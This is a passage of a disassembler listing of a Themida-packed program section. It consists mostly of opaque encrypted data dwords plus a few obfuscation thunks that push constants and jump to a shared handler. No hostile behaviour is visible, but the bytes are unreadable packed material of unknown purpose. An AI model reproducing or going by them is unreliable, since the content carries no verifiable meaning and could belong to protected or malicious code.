0F2BADF66h, 70411086h, 0D3327F5Fh, 7D5A3363h dd 0E530C97Dh, 6CAA4047h, 869FC509h, 1E133B10h, 0AE152999h dd 10869F6Bh, 2E690112h, 0BB3E737Fh, 98724B4Bh, 0CDA8189Bh dd 6A655481h, 0CD2F3888h, 278FEC1Dh, 9C49F3AAh, 0E082787h dd 0F0269615h, 856D6059h, 0AE5CCC2Ch, 0E78EFE7Dh, 0A8D52FBAh dd 3E6B597h, 0E9F30000h, 8645375Ah, 56C62910h, 5BDAD9EAh dd 241BFFEBh, 48B83BC7h, 585E714Eh, 66906176h, 0B837291Bh dd 0B0ABF3D2h, 0C8311086h, 0D2F8DD15h, 88B1DB6Ah, 549F2730h dd 0B51C2C1Eh, 67D754D5h, 0AA19458Eh, 10865367h, 8293506h dd 77FB38A8h, 0B8A96307h, 0FA29CC3Ch, 27350979h, 0EA975B2Eh dd 47FE3FA7h, 10860C02h, 4571E15Ch, 23C7D848h, 0F83923E9h dd 70990C7Ch, 0FB10860Ch, 0AA5A402Ah, 0C97BA89h, 92ED1086h dd 0E4F03173h, 0F3DCED53h, 3EAE0D22h, 7F943720h, 12C5B333h dd 42A5BE78h, 5F7E43D2h, 9110863Ah, 0F278BE2Eh, 1E401E4Eh dd 62A71E40h, 910863Ah, 3A448D38h, 16271086h, 0C1A54974h dd 5B48169Ch, 5E2F67D7h, 0AF6BAC71h, 2F4B7D6h, 34882h dd 0CC3CBA00h, 777FA29h, 0D444C16Eh, 1E8EF241h, 0DA4AA877h dd 742F5C3Bh, 40EF86F6h, 79A64FBFh, 35EA8BFBh, 24AF46B6h dd 0BA468B3Ah, 6425169Eh, 57C724D8h, 0ABEE5587h, 521086F2h dd 766BA941h, 0A09185F5h, 84C6AF1Fh, 6192BA53h, 79116292h dd 86AC434Ah, 5CE62710h, 77F81087h, 69B40F07h, 0AA10869Ch dd 0D0BA2A89h, 0D8E616EAh, 9C69596Dh, 32CBDC16h, 0B7D70AEFh dd 0CA028274h, 38000002h, 78A74EBEh, 37EC89F9h, 80AF46B6h dd 2E059000h, 0E2B95CCCh, 474F6A9h, 0CD3DC271h, 979FB28h dd 0C434B76Ch, 0DB8A631h, 169EBBC4h, 2456E6A7h, 525F57C7h dd 0F29581F1h, 50B314BBh, 1DA015E0h, 0A397A81Ah, 248h dd 0AB1B9899h, 44F8926Bh, 72E2624Fh, 49F4B44h, 1086F2D9h dd 583DAD0Fh, 0E5F969CBh, 160070CCh, 0CEE35139h, 0FEE0FE6Eh dd 86F20247h, 32D8E910h, 0C0F14504h, 741BCF3Fh, 8EFE7E49h dd 0CA7963E7h, 1086F287h, 0F6B55566h, 97A81A73h, 2D9D1E13h dd 62DD3Dh, 4FB90000h, 296DDD62h, 3CFCB654h, 0AADC0B14h dd 0AD82BC23h, 5B963291h, 0EC45169Ch, 251A1C8Ch, 1B1B8BEEh dd 47584822h, 0D7256DB6h, 78FCFAB7h, 1F9h, 583DAD09h, 1FF666CBh dd 0B045B510h, 0E88DFD83h, 0AE47B73Bh, 7BFFB2F9h, 32B56A0Bh dd 80FC33C2h, 4DAE8510h, 0BF8F38DDh, 9EBBDD04h, 5DDFA016h dd 123F06C8h, 0E91086F2h, 0C3F0DED8h, 0F6C7CF3Fh, 25951714h dd 0F060E350h, 588834C6h, 960666BDh, 3FAD8FC8h, 6812C53Ch dd 5A7D6028h, 6C70A079h, 8B851E0h, 0F796745Bh, 5B5BCB28h dd 3380E146h, 0A0E95CCCh, 4B108647h, 17C0557Ah, 47557C47h dd 0EB181086h, 361989h, 1C2292F3h, 0F8D6B13Bh, 6B1FE186h dd 0CAEB9A20h, 862CD6FBh, 0AB849510h, 87F7766Bh, 2C8AD3EEh dd 93631086h, 0FCE85B63h, 81169CC4h, 15B0AEB0h, 1690F4CCh dd 0F453764Dh, 91A1690h, 52E48697h, 8B78E061h, 68E622A2h dd 6EC5507Fh, 0B19B9B0Bh, 0D98054A4h, 76144591h, 0CFC737B5h dd 0D1ED5DE2h, 17F363E0h, 82022F1Dh, 140272F6h, 0B576143Bh dd 5CCEC838h, 0F3526C9Ch, 108D950Fh, 1D009DAEh, 0BEB1C128h dd 0E73CB8h, 9B1B0000h, 54D54A2Bh, 0A32211E4h, 6BCD6233h dd 0A5051AFBh, 404B6035h, 987DED4Dh, 0E1B4248Bh, 0F382F252h dd 0A64FBF3Ch, 4F92311Dh, 2E169EB8h, 8D4FCF6Dh, 86F293B6h dd 0CB2D5A10h, 9596745Bh, 0B9298A16h, 8FAF807Dh, 83B323A2h dd 0F2E72A99h, 0B5861086h, 0AB1B999Ah, 0DF5C55BFh, 0CE90276Fh dd 1BC77089h, 0A2917B12h, 0D5BCAE1Eh, 0FD5EDDEAh, 86B40346h dd 3FBDEA10h, 0D9F6C7CFh, 0F63B1FF6h, 27660474h, 97A85FC2h dd 79E94F64h, 4F47B73Ah, 19B08C7Eh, 0AE000000h, 0DABE73A9h dd 0EA6DFBh, 0F296B61Ch, 69CA1086h, 21981CF9h, 74000000h dd 71E1624Fh, 0F2E32A99h, 3E201086h, 86F24287h, 0A3202910h dd 0E2174A99h, 28E981AEh, 6EBA5BCBh, 12351299h, 73000000h dd 0E1A7D862h, 0A125A686h, 68E94439h, 9D7F6B44h, 5ACA249Dh dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h dd 66D65A47h, 52C24330h, 7AEA4F64h, 7B68783Ch, 89000067h dd 8950240Ch, 405E0h, 42D0000h, 87000000h, 895C2404h, 3768243Ch dd 8900003Eh, 0BE56241Ch, 73857B2Dh, 3DA7F681h, 0F789759Dh dd 8324348Bh, 0EC8304C4h, 24248904h, 4240481h, 5B000000h dd 89FE8956h, 348B0873h, 4C48124h, 0FF000000h, 815B2434h dd 4C4h, 243C8B00h, 81E78957h, 4C7h, 4C78300h, 5C243C87h dd 0FD31D9E9h, 5995BEFFh, 0EFD354F7h, 75830B53h ; --------------------------------------------------------------------------- adc [edi], ah loc_5AE6B6: ; CODE XREF: Themida_:005AE082j mov eax, 6184C03h add eax, ebp loc_5AE6BD: ; CODE XREF: Themida_:005AE07Dj mov edx, ecx jmp loc_5AE82A ; --------------------------------------------------------------------------- dd 45E26F3h, 0DA95ECE7h, 6715893h, 0BEB6CFDFh, 365D54FDh dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h, 92A7ABDDh dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h, 0B6E592B6h dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h dd 2CAE29B0h, 34000000h, 38000000h, 2 dup(0) dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h dd 200000Ah, 53000000h, 69767265h, 50206563h, 206B6361h dd 32h, 26h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AE82A: ; CODE XREF: Themida_:005AE6BFj jmp loc_5B07D4 ; --------------------------------------------------------------------------- push 6184FD7h jmp loc_581882 ; --------------------------------------------------------------------------- push 61850EBh jmp loc_581882 ; --------------------------------------------------------------------------- push 61851C3h jmp loc_581882 ; --------------------------------------------------------------------------- push 618529Ah jmp loc_581882 ; --------------------------------------------------------------------------- push 61853AAh jmp loc_581882 ; --------------------------------------------------------------------------- push 618546Ah jmp loc_581882 ; --------------------------------------------------------------------------- push 6185542h jmp loc_581882 ; --------------------------------------------------------------------------- push 6185611h jmp loc_581882 ; --------------------------------------------------------------------------- push 6185A23h jmp loc_581882 ; --------------------------------------------------------------------------- push 6185A8Ch jmp loc_581882 ; --------------------------------------------------------------------------- push 6185BA6h jmp loc_581882 ; --------------------------------------------------------------------------- push 6185E83h jmp loc_581882 ; --------------------------------------------------------------------------- push 618622Bh jmp loc_581882 ; --------------------------------------------------------------------------- push 6186596h jmp loc_581882 ; --------------------------------------------------------------------------- push 61866ACh jmp loc_581882 ; --------------------------------------------------------------------------- push 618671Ch jmp loc_581882 ; --------------------------------------------------------------------------- push 618676Ch jmp loc_581882 ; --------------------------------------------------------------------------- push 61867CEh jmp loc_581882 ; --------------------------------------------------------------------------- push 6186989h jmp loc_581882 ; --------------------------------------------------------------------------- push 6186A81h jmp loc_581882 ; --------------------------------------------------------------------------- push 6186C46h jmp loc_581882 ; --------------------------------------------------------------------------- db 0F6h, 78h, 8 dd 0C333B66Dh, 1080FD32h, 0DA4AAE85h, 1686E43Bh, 3063287Fh dd 9C9362D2h, 55CAAB1Bh, 0A18E67D7h, 0F0E3B222h, 0BC3257EEh dd 38B9169Eh, 57C72404h, 81F1525Fh, 0C2F2C6F4h, 0FB1149FCh dd 0CBDC169Bh, 0FB2568CBh, 67D21693h, 276CD178h, 3EF49DBDh dd 0EA000000h, 0C838BFF4h, 93F3345Dh, 4E6B716h, 0DB0BAB10h dd 0F5F04003h, 0BC8D169Bh, 1B9F947Ah, 0F5766BABh, 93BC9185h dd 0F181CCF7h, 0C36E1693h, 5DDDD61Ch, 2B8EFDEDh, 0B19DBD1Dh dd 0ABh, 57C72485h, 64F0525Fh, 0A8B69909h, 0F2CA0FB6h dd 0E0B11086h, 94170C0Ah, 143BAB08h, 42B21122h, 45B5377Ch dd 0E5EBC6A5h, 0F71086F7h, 0C2710474h, 53E5D141h, 0D86B73A3h dd 169C0030h, 0A109ECBDh, 3291ADDDh, 108B8509h, 0EA471728h dd 11461888h, 0E34509C2h, 6B616473h, 0BEE3627Ch, 3D1CAAA6h dd 40EF7E6Ch, 6CCB52C2h, 6FB1C042h, 1D22FD85h, 7BFB0000h dd 34B56A0Bh, 830231C4h, 4BAD8213h, 85E53ADBh, 602B8015h dd 0B85DCD2Dh, 194046Bh, 9362D232h, 0C6AF1F9Ch, 2F72D1FDh dd 0CE169EBDh, 0C624EF4Dh, 1370BF56h, 0AB66D2A3h, 0AE03DB0Bh dd 2E30DA4Ah, 9BF59B97h, 0A591A216h, 93F1FF1Eh, 9E118816h dd 0BD1D3EABh, 6FD3E09Dh, 3D64DFFFh, 0C01693FDh, 0E91FFBEFh dd 0FB000000h, 6DDD624Fh, 75B65429h, 0A39086F6h, 0A28FAF1Fh dd 8885B121h, 496A34E2h, 35907AEAh, 1086F6AFh, 8ED3726Ch dd 6D1086F7h, 0FE7DAE5Ch, 17AEB08Eh, 1086F7F2h, 688FA879h dd 27DFF71Ch, 0AA7914F6h, 4BDDD949h, 0E0637BABh, 169C3D38h dd 0C9EAF4C5h, 8211F969h, 0BA388434h, 0D2574C4Ah, 5C624D62h dd 3462D257h, 6748B83Fh, 86ABB183h, 0A0109723h, 0D4B69976h dd 8BD529E9h, 43A7D410h, 0C5EAE3D3h, 3ABCDCF9h, 4C44E931h dd 6DC6989Eh, 5C09E0Eh, 1CAAB8DCh, 2FDC8E9Fh, 65BA5BCBh dd 9F089505h, 40B1C04Ch, 1C0ECE36h, 0AF0F0000h, 68C9563Fh dd 0A7061DF8h, 6FD15E37h, 0A90916FFh, 4C3F5C39h, 0F481F151h dd 0AD48B83Fh, 0EF86F676h, 0C253C340h, 53764D11h, 1A169EA2h dd 624FE359h, 9B9872E2h, 61CEA717h, 95A372E2h, 5F57C724h dd 8B89F152h, 2ADB22AFh, 6ADA595Ah, 511B045h, 421C4CECh dd 4E833B1Ch, 0C00B102Ah, 864ADC05h, 0A18E9F10h, 4376DAC9h dd 9C95169Bh, 0DCBCAE1Eh, 519033CBh, 26CB00A3h, 0EC762A52h dd 0B6E050B3h, 1712FED9h, 999AA48Bh, 9F70A616h, 0EADD04BFh dd 8FA0D222h, 528359DBh, 0D9F61ED7h, 0AB1AF0BDh, 0D43880E7h dd 3EAE0F24h, 336307F8h, 0F2C63462h, 5C49FCC2h, 1FDE25B3h dd 1127300Eh, 0BB219066h, 231026C4h, 0CE6530A0h, 0B120FD6Dh dd 32EF1E8Dh, 1B36C044h, 87E70000h, 50B17E17h, 9F1E15E0h dd 57D9462Fh, 0A1210EE7h, 44476431h, 9C79E949h, 0E5B02087h dd 977EEE4Eh, 0DABB2B88h, 3B5EE5E9h, 0C2169EA3h, 0C724FB41h dd 25D95F57h, 2A5AE9F5h, 49169C03h, 0D85E350Ch, 0B7530C52h dd 5E5F3607h, 0F3FFFF2h, 428C942Fh, 20F1108Eh, 5C85401Eh dd 1F1CAC31h, 0AB1A5C0Eh, 0D41293E9h, 3DAD0D26h, 100676F6h dd 91654B3Fh, 22E65D61h, 69C54029h, 0CA89D073h, 470BC977h dd 7E51E655h, 0F7C7D848h, 778D054Ch, 33D7E8C9h, 0F684B283h dd 794C1242h, 0CF6D520Ch, 0D54EFEDh, 0F0F08048h, 0BA8B2BDFh dd 21A4BAA4h, 0F08048F8h, 0A6169683h, 83B09F70h, 38F99101h dd 0A0AA4BBBh, 78BE2E93h, 0C526E387h, 0DC53C855h, 0A294DDE5h dd 1A5F22h, 0D040BE00h, 1B8BEE45h, 0D848A57Ah, 1282E63Dh dd 0DE4EAC83h, 782B6037h, 34EB8AFAh, 7DB243B3h, 39E68FFFh dd 18AB4ABAh, 0A04A8F36h, 0B031169Eh, 57C7248Ch, 0FD9E4E87h dd 0EDB6562Fh, 38D242A6h, 0A4CC6CFEh, 4BF5835h, 108697DDh dd 68A88FA0h, 0CC92BD83h, 0B424A192h, 0BEDD8D82h, 169C053Eh dd 0A607EEBFh, 36B9FABBh, 0CA6E24C6h, 1901C49Ah, 2108EDFh dd 9FB47CD5h, 1B9F2324h, 0BD926BABh, 46D8E9CDh, 739E3F18h dd 177860Dh, 29261080h, 0A2396406h, 23A105E0h, 0A81B2353h dd 0BE4F0AE0h, 4F92312Bh, 2EBE6EEAh, 78496D1Dh, 0C00CAC3Eh dd 0DFFFD040h, 83E672D2h, 84E3C13h, 7435483Dh, 10B3A9B8h dd 0A47BA1C9h, 9707E3B4h, 439FB886h, 3C1EE296h, 0FBFA1FA6h dd 0B081A47Bh, 33EDB89Fh, 99B41C40h, 40716BF1h, 696650C0h dd 0C3339081h, 0BD2F2832h, 69B01386h, 14A47B65h, 365A3403h dd 991A17F3h, 92C95429h, 241208EFh, 194FA0h, 70CE00h, 0CB3BBE75h dd 878F52Ah, 0C232B66Dh, 0E7EFC33h, 487B3067h, 849B7AEAh dd 4DE2B323h, 89967FEFh, 0E8DBBA2Ah, 0A13A5FE6h, 40C1169Eh dd 0F8864FFCh, 5E1CB953h, 0C526E387h, 0CC288955h, 0D1745A5Ch dd 1086AD88h, 0DD8DA273h, 0A9F5C92Fh, 0F7E0D646h, 0E92B6E8Ch dd 381738B6h, 0C079F26h, 516169Ch, 3BD65170h, 0D0734B7Bh dd 108EDB48h, 0C49A6435h, 989E0E6Fh, 9BD8C3A7h, 1C01E38Dh dd 0B3122C5Ch, 1FF0D7EFh, 0B323A18Eh, 71A58A83h, 37073707h dd 1DD8198Ch, 734B5C19h, 0D431BD3Eh, 725D3264h, 1EA5B7A3h dd 511C2FBh, 0FD82B182h, 0CF2CDD8Dh, 6631BE5Fh, 88AEA855h dd 188F2Ch, 0C0308E00h, 0B7BFE35h, 0C838B56Ah, 272F62Dh dd 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h, 49D6BF2Fh dd 289B7AEAh, 0A67A9F26h, 8001169Eh, 57C724BCh, 0D925D95Fh dd 47ABE858h, 5FE6F8D7h, 169BF79Bh, 7CA52022h, 721693F7h dd 0A4999D0Dh, 3A042BFCh, 0C0A7AF9h, 753C5733h, 74A4549Dh dd 0FE77DB6Ah, 9F94108Eh, 956AAC1Ch, 2EF0C1F5h, 65E6B797h dd 0E010B0A8h, 0FA367DEh, 794A896Fh, 0E864F3Dh, 7746AF9Fh dd 0B3832DDDh, 0F176BB83h, 7BB89581h, 51E387F7h, 94ABF3F2h dd 0ADB182B0h, 0D1B92984h, 5DC5268Bh, 2920488Dh, 63C7CCEAh dd 0D502DCF3h, 0D1C60027h, 0D3A248B8h, 0EC53DF5Ch, 3791B88Bh dd 4B5CBC9Bh, 5ACA2F64h, 0D111A875h, 0E4D211CEh, 17B760h dd 98086600h, 53C326FDh, 0A0106DC2h, 6ADA5ED5h, 0A616948Bh dd 0E0D3D8CFh, 0C23F262h, 0C55A3BABh, 111EF767h, 20B342B2h dd 0A742873Eh, 6829169Eh, 0E5864FD4h, 4501C460h, 0BE3DEE9Ch dd 0D07EC56h, 0EDC2053Bh, 6FCEE3A9h, 0D1A50BFFh, 18949DA1h dd 0C97CC2A8h, 169F2DD8h, 55E9AA3h, 72676BCFh, 0D330815Dh dd 0D88ED372h, 5C6D169Eh, 0A1FA273h, 0B169ED8h, 0C8573E6Eh dd 8C1AFB6Bh, 0A2E8C4ECh, 0FD04E64Dh, 73D20CD2h, 169EB22Eh dd 35D5B064h, 5CC45F69h, 0BF9D9F4Bh, 9EE3269Dh, 0B98A169Eh dd 53F7F2D1h, 99861087h, 0B787A818h, 0EE87F77Ah, 8E50C041h dd 8658C825h, 0B64B9ABFh, 0BA50611Ch, 9404677Ch, 0BBDDEC09h dd 0F9797BB1h, 16E8h, 0AC49B935h, 0F382F277h, 0C451C13Ch dd 0FC99096Fh, 0C253C327h, 87EBA6E5h, 4EB17E17h, 8CE837DEh dd 49AA791Ch, 0C38B3CD9h, 9EA4D900h, 59E3A416h, 93B68D4Fh dd 5A1086F2h, 47F7A149h, 2A0575FBh, 0B8854314h, 553FD824h dd 0A5249FB5h, 0B8169F36h, 59DAD7E7h, 0A5044DF8h, 0D6E7169Eh dd 0ED8E1CF9h, 8B22A1BDh, 8A169EA5h, 0D6F67DB9h, 0A169EA5h dd 11FB3BABh, 9EA56FB2h, 0F63D0E16h, 76110575h, 3D5B903Fh dd 0C46FACEFh, 863199B6h, 1F87F257h, 940D9DC0h, 29000000h dd 0DE0EABh, 86F21045h, 0E4D2E310h, 86F23C61h, 61D13210h dd 4BBB3C35h, 2F137A4Bh, 0AFF0369Ah, 90537AE1h, 0A2507F3Ah dd 78BE2E91h dd 45A8E387h, 0CB97A82Bh, 5Bh, 0B68D4FDFh, 1086F293h, 68DA515Ah dd 2D647601h, 0D513502h, 9A1303F4h, 0E889D5F0h, 0CD0A1086h dd 0F7CCC739h, 977716F8h, 0D30C3A16h, 741FDBFCh, 0A9F9108Eh dd 0DB27D7C1h, 0F4CAE555h, 0F868C9EAh, 0CABB312h, 4B68169Ch dd 0F1A580E8h, 5B97CA08h, 464D4274h, 239377E7h, 4FB58312h dd 0F293B68Dh, 2D5A1086h, 97735CCCh, 112D5D21h, 9BF6E2B2h dd 0BC829316h, 402FA99Bh, 63076EAEh, 6BCEE3A9h, 28C2BBFBh dd 7D1888EBh, 9D545A6h, 0DCDA4AA8h, 140D07E3h, 28B42E96h dd 8AE1F315h, 1BFD71A5h, 47239316h, 96A5D50h, 3DF41DA8h dd 0A6771693h, 5162EC89h, 0B99680F0h, 73E360D1h, 0DA585943h dd 661A806Ah, 21362836h, 0BFC65C27h, 0A914F6C0h, 1089DA09h dd 74E44734h, 0E2464D42h, 6BB85D72h, 6DC69808h, 0A39C9A0Ah dd 327F4DC7h, 1D1D66CEh, 61C2C49Ch, 9377484Eh, 97528228h dd 0A9149B84h, 112D9D1Eh, 0C45C6144h, 0F9914414h, 0B626859Ah dd 9D0D7380h, 0C4EB9A99h, 4E108003h, 0BB6CB510h, 3E0F94E7h dd 0E0878F5h, 0E53A5931h, 9A201686h, 1DA8B6E6h, 92FD403Dh dd 82C77E40h, 699AF093h, 7E51C13Ch, 0C49AC451h, 0C5622693h dd 8D385EFDh, 9AF09044h, 7D481627h, 9AF09054h, 0A7640617h dd 0D1E2D444h, 28B8FE6Eh, 3AB90EC1h, 0F5DA4AAEh, 40B01320h dd 2C4F8856h, 0A878BB03h, 29CDC3A7h, 0EE5EE5F9h, 6F9CEA55h dd 0CF33805Eh, 53E0AB5Fh, 2F9680F0h, 0B00D51EEh, 0DBA2594h dd 0C8573EAEh, 0A9BAFC6Ch, 0D005D949h, 0BC3858B1h, 62754A4Ch dd 19F135F0h, 8A355C1Bh, 0A64FBF3Dh, 0B8288FA4h, 1FB6817Eh dd 26CBBEE8h, 0F97BB852h, 0A8189B98h, 0ED34916Eh, 90B00DFDh dd 87F774BFh, 1F9D96A8h, 0F49667AFh, 57C7293Ah, 7568CF5Fh dd 0F382F252h, 6650C03Ch, 400324D4h, 0B00DFD19h, 0E2FCD3E4h dd 0C636B7FCh, 0B00BFFD0h, 0B610F9E4h, 456C9099h, 0EAFE4B11h dd 0F5DA4AA9h, 0A2DBECE9h, 46DA7FEAh, 0BC851171h, 5733EAEAh dd 802FD6DDh, 0A075E547h, 0FEC03093h, 0CFC737B5h, 0C0EF5FE2h dd 74F7EC2Ah, 0E3771204h, 1DAABCF2h, 0BFF7764h, 2D8E39A4h dd 0B6D0F9CCh, 8A9BB626h, 93BC2C89h, 0C5698ACBh, 9C7D1900h dd 76BB9FEEh, 940466F2h, 0E882ADA2h, 485A40ADh, 28C83Eh dd 24E40000h, 2D8658C8h, 67585ECEh, 5F1F8983h, 0A8B40F2Fh dd 6B169C08h, 0E58FD271h, 5D6E1693h, 5D3809ADh, 2957h dd 0C8243300h, 0ED588658h, 1086F2A4h, 0BE3D7647h, 0AC729C4Eh dd 0F2CE13B2h, 9CAD1086h, 0C4F4C4EEh, 0AF34BFAh, 0A172169Ch dd 5EB268D4h, 0ABB3E393h, 8FFF80B1h, 0FB58C0DBh, 1425169Bh dd 0F603D48Ah, 0CCF7B5ECh, 0D8019C4Eh, 41032FF8h, 452595F0h dd 637BAB4Bh, 550038E0h, 0C2F4C5ECh, 0DC678838h, 1058EDB5h dd 76486738h, 0D4617668h, 9837D791h, 573257CEh, 0E8B91058h dd 4263A3CFh, 593183F0h, 42377B6Ah, 1529FA16h, 49379F1Ch dd 2E4CE8E6h, 909F7659h, 0B3AC333h, 50B6F91Bh, 12D6DE66h dd 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh, 81012EC7h dd 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh, 0FA9B0B68h dd 1B3E05C9h, 0E2169EA8h, 8D4F1B21h, 86F293B6h, 0A1495A10h dd 86F3DF02h, 0B8E89810h, 1CB71FA6h, 0F5C6169Ch, 0FC6CC8E9h dd 7EFC3519h, 5337080Eh, 0B0E656D6h, 4DD040C3h, 0B7D76914h dd 6DC9294Bh, 0B0000012h, 200FE656h, 0CF6431A1h, 817FE6Eh dd 0C65D38A8h, 8A21F464h, 0BC2C8E01h, 75E54AD9h, 0C13193A0h dd 0C7CFF34h, 0D5705E69h, 169EA88Ch, 4F8EAE6Fh, 0E9AFC886h dd 57EE99C4h, 1086D432h, 23C7E8B9h, 0C599C96Dh, 9C3B96FEh dd 8D6E716h, 0D9DE46ABh, 0CD77C806h, 0B1AFA98Eh, 795D20FEh dd 754F8856h, 2DFB9476h, 0B222A192h, 366BDD8h, 9CB9A393h dd 5AF6A3Eh, 3DEE9C9Eh, 5B484EBEh, 403165D5h, 0A26551C1h dd 261FC4EBh, 0F277507Fh, 51CAF382h, 0D3B07364h, 4882CD17h dd 0B5557AEAh, 320C3CFBh, 26108001h, 0F63B4129h, 0B0130373h dd 1693D26Ch, 0F5D2FDA4h, 0C2710474h, 0DF4FB33Fh, 0DBD8C6F0h dd 0D0ADE959h, 90C0803Ah, 1FAAF7CEh, 0E0B1108Ah, 0CA56D5DEh dd 40D5FA6Ah, 0F62090F3h, 0BA84B484h, 0B2503B0Bh, 55693A1Ah dd 866FDF5Ch, 6CAA1A99h, 340A3AFEh, 49769B2Ah, 24F502C3h dd 955F046h, 0EC04D9B8h, 3E365BEAh, 0E4B508DCh, 0C9F732CBh dd 4A6CA591h, 1153EAh, 0FC6CCA00h, 37A70A19h, 474D15Eh dd 0CE3EC271h, 0A7AF827h, 447F2C6Bh, 909F76E6h, 49D6BF2Fh dd 859A7BEBh, 0F4DFB626h, 0A9365BEAh, 34B5169Eh, 0F29AB608h dd 56D61086h, 0D7A70FE6h, 2C97A7h, 25169F3Eh, 0B1144A14h dd 169EBF68h, 0B2110213h, 8F7B5442h, 0F6CD8FCDh, 169EBFD3h dd 30E1899Ah, 835965D5h, 9EBF99C0h, 0B7536416h, 43A650DCh dd 0E3972826h, 9FDD3EF2h, 0C2A84231h, 15162h, 0FAB3600h dd 8D4FDDDFh, 86F293B6h, 0A1495A10h, 0F2E4289Bh, 36171086h dd 0B68D4F06h, 1086F293h, 9BA1495Ah, 0CB01AA9Fh, 0BCE010ABh dd 0CAB6E52h, 0AB8FE0DCh, 0A82673A6h, 60B968h, 0E6EF0000h dd 1CF411F5h, 69D1B97Ch, 63C410ABh, 4FE0DCF3h, 59C9248Dh dd 1B8A605Dh, 1086F2F3h, 4F7BA172h, 0D854E062h, 7E512E68h dd 4F72CA8Ch, 763B3786h, 24C615EFh, 7BFA86E7h, 1D320B0Bh dd 0E3624F1Fh, 82CC9773h, 3360D031h, 583561D1h, 624F8AB2h dd 82F251DDh, 0F69469ADh, 16C6h, 10ABE200h, 0F44FBCE0h dd 1086F2A8h, 4FCAF2DBh, 59C9246Bh, 0A6725663h, 68A82673h dd 49B9h, 624FCD00h, 484571E1h, 1949F8A2h, 0A8F44F23h dd 0EB1086F2h, 0D343C0F1h, 86F22F72h, 0DFDCE10h, 4FA498A9h dd 0ADF44F8Dh, 0EE1086F2h, 86F23257h, 38E8B910h, 4F8F8367h dd 4571E162h, 1071A248h, 72567CA0h, 47B5h, 0CABD100h, 0D7DC02DCh dd 0DDB2E454h, 86F22168h, 0FFBCC10h, 0A8F44F2Bh, 0DB1086F2h dd 624FCAF2h, 54296DDDh, 249CA0B6h, 538955C5h, 86F2A9F0h dd 0A7435410h, 0B68D4F73h, 1086F293h, 0A2A1495Ah, 6ADA5B58h dd 83B7532Ch, 0FFFE9DB5h, 0BABD1FFh, 414003DBh, 1C169F3Fh dd 7DFE330Bh, 0DAD75D0Dh, 9E0CE959h, 0C33391DDh, 9D5FAD3h dd 9EBF173Ah, 0F9C5D616h, 0CCCA3AB8h, 961D17F3h, 169EBF7Dh dd 7D033006h, 8B325D0Dh, 0C06B3BBEh, 45C19Dh, 0B6D50000h dd 1086F297h, 0E4FA6AC9h, 0BEF868CFh, 674A29C1h, 1086F227h dd 0ED000C0h, 0F22C75D0h, 0BE421086h, 0C977484Eh, 0A7EF5FDCh dd 4B11F9D6h, 9C1AA478h, 530E4716h, 0AFAF2AEh, 0BE8F2FDBh dd 0B4D9D7h, 0ABAD0000h, 4003DB0Bh, 169C1A6Ch, 151E20F1h dd 0C4E2797h, 0DA2E73D2h, 0FCCD1693h, 2F9F1D0Eh, 8DBD81E7h dd 1C0A4B1h, 38B8BD65h, 70390C52h, 0FB108ABBh, 9A1F142Ah dd 7713EC2Ah, 70CCE5h, 50F3E975h, 1CAB2309h, 23EE3392h dd 0BC8D1CABh, 0DA573304h, 3EACEA5Ah, 0A7EA597Ah, 461CAB23h dd 4DBD3E75h, 0A3E95C62h, 4A1AB2EFh, 4670E05Dh, 5B586649h dd 968D68D8h, 93D8A515h, 0D4ABA679h, 0E7662E2h, 47A70000h dd 90F13ED7h, 5FDE5520h, 971906EFh, 61E14E27h, 48724F1h dd 0DCB92989h, 0A570E047h, 0D7BE2E8Eh, 9A7BEB48h, 7B9E2529h dd 2169EACh, 8D4FBB81h, 86F293B6h, 44DF810h, 0E71086F2h dd 0B1596AD6h, 0F0770380h, 7A67AF80h, 7CB589F9h, 0B4898DFDh dd 0F8A158D6h, 118102C5h, 1DCC3184h, 385497A8h, 68000000h dd 3DB0BABh, 0A97CFCD9h, 90D53531h, 0D207CBFAh, 0D5E6169Ch dd 0E773D0E1h, 5B3A1585h, 0BFF767C4h, 89558539h, 89EBE2BAh dd 0C3526310h, 0DBFEC597h, 0A21CADEBh, 2441F991h, 0EA4F64C5h dd 0E2433C7Ah, 1086F2BFh, 0CFD3753Eh, 741B5DF2h, 496A745Bh dd 0F89377E7h, 8856C62Bh, 5E58C82Bh, 288B8961h, 108656EAh dd 71982B31h, 0FC108656h, 72D23F2Bh, 73437302h, 50617B43h dd 0BAE981F1h, 169F9A41h, 220F2F00h, 269617A3h, 0F2090EDh dd 43A6C266h, 0C9972826h, 184h, 0EE0FABDDh, 86F23257h dd 0C7E8B910h, 0C223DEF7h, 18F299C2h, 8D4FCA72h, 86F293B6h dd 0A1495A10h, 0F2E4289Bh, 0A271086h, 5A7F46A7h, 211086F2h dd 0F94B3F10h, 6B4FE8D4h, 0ABCB01AAh, 0DEE010h, 86F21C45h dd 1CCEDF10h, 0AB6E52F8h, 8FE0DC0Ch, 0E2624FABh, 9F4B4472h dd 0A826B9F4h, 9D181968h, 6FB2112Dh, 0E1386F2h, 51ED4D3Dh dd 0C9000000h, 0DEE010ABh, 0F21C4500h, 0CEDF1086h, 624FF81Ch dd 494670E0h, 0E4289BA1h, 271086F2h, 87AD262Eh, 0F09A2703h dd 1B1F07D0h, 54FB1EA5h, 0B1821086h, 33D6AA6h, 6B4FF02Ch dd 6359C924h, 56B57256h, 0F3000000h, 0E9CE3EBEh, 46A39E08h dd 52DDDDFh, 0B9E810ABh, 7B6814DBh, 1F142A05h, 0DC402A9Ah dd 0F44F8D4Fh, 1086F2ADh, 308B7F50h, 1086F2ECh, 73962D2Fh dd 0FA1086F2h, 0C2EB4129h, 0E1624FDAh, 4DBD4271h, 0C0967449h dd 59C9247Ch, 0B68D4F63h, 1086F293h, 0A2A1495Ah, 2673A636h dd 39B968A8h, 0CD000000h, 70E0624Fh, 5FCF2D46h, 61209A70h dd 0F44F0B31h, 